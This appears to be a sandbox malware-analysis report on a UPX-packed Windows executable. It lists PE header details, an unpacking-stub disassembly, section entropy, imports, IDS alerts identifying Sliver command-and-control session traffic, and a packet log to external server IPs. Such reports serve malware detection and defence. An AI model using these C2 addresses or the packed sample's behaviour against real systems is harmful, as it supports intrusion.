Time Stamp:	0x67618A5D [Tue Dec 17 14:27:41 2024 UTC]
TLS Callbacks:	0x4012d6c2, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f97ddfd95f5085543ba930904a5f8157

Entrypoint Preview

Instruction
push ebx
push esi
push edi
push ebp
dec eax
lea esi, dword ptr [FFF9A55Ah]
dec eax
lea edi, dword ptr [esi-000C6025h]
dec eax
lea eax, dword ptr [edi+001221DCh]
push dword ptr [eax]
mov dword ptr [eax], 3F08E86Ch
push eax
push edi
mov eax, 0012A9ECh
push eax
dec eax
mov ecx, esp
dec eax
mov edx, edi
dec eax
mov edi, esi
mov esi, 00065A92h
push ebp
dec eax
mov ebp, esp
inc esp
mov ecx, dword ptr [ecx]
dec ecx
mov eax, edx
dec eax
mov edx, esi
dec eax
lea esi, dword ptr [edi+02h]
push esi
mov al, byte ptr [edi]
dec edx
mov cl, al
and al, 07h
shr cl, 00000003h
dec eax
mov ebx, FFFFFD00h
dec eax
shl ebx, cl
mov cl, al
dec eax
lea ebx, dword ptr [esp+ebx*2-00000E78h]
dec eax
and ebx, FFFFFFC0h
push 00000000h
dec eax
cmp esp, ebx
jne 00007F3DA4C082BBh
push ebx
dec eax
lea edi, dword ptr [ebx+08h]
mov cl, byte ptr [esi-01h]
dec edx
mov byte ptr [edi+02h], al
mov al, cl
shr cl, 00000004h
mov byte ptr [edi+01h], cl
and al, 0Fh
mov byte ptr [edi], al
dec eax
lea ecx, dword ptr [edi-04h]
push eax
inc ecx
push edi
dec eax
lea eax, dword ptr [edi+04h]
inc ebp
xor edi, edi
inc ecx
push esi
inc ecx
mov esi, 00000001h
inc ecx
push ebp
inc ebp
xor ebp, ebp
inc ecx
push esp
push ebp
push ebx
dec eax
sub esp, 48h
dec eax
mov dword ptr [esp+38h], ecx
dec eax
mov dword ptr [esp+20h], eax
mov eax, 00000001h
dec eax
mov dword ptr [esp+40h], esi
dec esp
mov dword ptr [esp+30h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x12e000	0x424	UPX2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x113000	0x6954	UPX1
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x12e424	0x14	UPX2
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x12d6e8	0x28	UPX1
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0xc6000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0xc7000	0x67000	0x66800	673969dc1b0ca93da7eaa220399e4ab9	False	0.9970036204268292	data	7.999222698895648	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX2	0x12e000	0x1000	0x600	46b71bb8019a89f422613410c5e0a05a	False	0.3229166666666667	data	2.992509948076787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
advapi32.dll	CopySid
api-ms-win-core-synch-l1-2-0.dll	WaitOnAddress
bcryptprimitives.dll	ProcessPrng
crypt32.dll	CertOpenStore
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
msvcrt.dll	exit
ntdll.dll	NtWriteFile
ole32.dll	CoUninitialize
oleaut32.dll	SysStringLen
pdh.dll	PdhCloseQuery
powrprof.dll	CallNtPowerInformation
psapi.dll	GetModuleFileNameExW
secur32.dll	DecryptMessage
shell32.dll	CommandLineToArgvW
ws2_32.dll	bind

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T08:46:37.755658+0100	2852653	ETPRO MALWARE Sliver HTTP SessionInit Request	1	192.168.2.5	49735	51.44.82.197	443	TCP
2024-12-18T08:46:38.251413+0100	2852718	ETPRO MALWARE Sliver HTTP SessionInit Response	1	51.44.82.197	443	192.168.2.5	49735	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 08:46:05.110025883 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:05.110110998 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:05.110197067 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:05.122494936 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:05.122525930 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:06.522684097 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:06.522773981 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:06.566591978 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:06.566627979 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:06.567687988 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:06.622215986 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:06.652817011 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:06.695342064 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.054043055 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.054111958 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.054131031 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.054172039 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.054182053 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.054208994 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.054229975 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.106575012 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.134104013 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.134130955 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.134216070 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.134242058 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.134289980 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.253314972 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.253339052 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.253376007 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.253447056 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.253523111 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.286643028 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.286658049 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.286727905 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.311887980 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.311912060 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.311988115 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.330862999 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.330884933 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.330949068 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.434456110 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.434488058 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.434779882 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.450674057 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.450778961 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.467911005 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.467998028 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.480194092 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.480264902 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.491595030 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.491779089 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.500539064 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.500632048 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.512442112 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.512548923 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.520509005 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.520617008 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.623996973 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.624093056 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.632764101 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.632854939 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.640834093 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.640924931 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.648471117 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.648556948 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.657484055 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.657565117 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.664046049 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.664120913 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.670685053 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.670789003 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.679236889 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.679307938 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.685720921 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.685786963 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.693341017 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.693408012 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.700052023 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.700122118 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.706664085 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.706738949 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.714075089 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.714163065 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.720820904 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.720911026 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.814152956 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.814241886 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.819570065 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.819647074 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.824913025 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.825001955 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.831706047 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.831794977 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.836416960 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.836488962 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.841250896 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.841327906 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.845894098 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.845993996 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.851897955 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.851975918 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.856508970 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.856591940 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.861067057 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.861148119 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.866357088 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.866446972 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.870903969 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.870989084 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.876849890 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.876935005 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.881304026 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.881490946 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.899697065 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.899784088 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:07.904190063 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:07.904299974 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.004765034 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.004872084 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.008631945 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.008703947 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.012379885 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.012463093 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.015851021 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.015935898 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.020724058 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.020802021 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.024000883 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.024076939 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.027698994 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.027785063 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.031246901 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.031440020 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.035815954 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.035897970 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.039354086 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.039434910 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.043478966 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.043561935 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.046998024 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.047085047 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.050802946 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.050877094 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.054195881 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.054277897 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.058815956 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.058887959 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.092941999 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.093034029 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.096489906 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.096580982 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.198584080 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.198928118 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.202037096 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.202111959 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.205395937 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.205528021 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.208764076 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.208839893 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.213187933 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.213260889 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.216593981 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.216717958 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.220020056 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.220107079 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.223443985 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.223566055 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.227890015 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.227971077 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.231818914 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.231904030 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.235193968 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.235276937 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.238715887 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.238797903 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.242155075 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.242233992 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.246484995 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.246563911 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.281591892 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.281689882 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.285973072 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.286160946 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.387558937 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.387703896 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.391783953 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.391870022 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.395231009 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.395304918 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.398585081 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.398662090 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.402990103 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.403062105 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.406450033 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.406527042 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.409847975 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.409925938 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.413192034 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.413270950 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.417757034 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.417859077 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.421037912 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.421139002 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.425255060 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.425369978 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.428283930 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.428363085 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.431782961 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.431874990 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.436175108 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.436249971 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.472085953 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.472193956 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.475483894 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.475555897 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.577790976 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.577878952 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.581358910 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.581433058 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.584655046 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.584734917 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.589067936 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.589143038 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.592416048 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.592487097 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.596082926 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.596165895 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.599402905 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.599479914 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.603774071 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.603852987 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.607059956 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.607141018 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.610527039 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.610624075 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.614583015 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.614664078 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.617878914 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.617957115 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.622302055 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.622376919 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.625699043 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.625780106 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.629070044 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.629158020 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.665621042 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.665785074 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.668951035 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.669094086 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.771591902 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.771806002 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.774759054 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.774852037 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.778198004 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.778280020 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.781537056 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.781616926 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.785928965 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.786000013 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.789339066 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.789416075 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.792702913 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.792777061 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.796122074 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.796199083 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.800384045 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.800467014 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.803293943 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.803390026 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.807615995 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.807698965 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.811113119 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.811193943 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.814462900 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.814538002 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.818818092 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.818921089 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:08.855578899 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:08.855674028 CET	49704	443	192.168.2.5	51.158.71.131
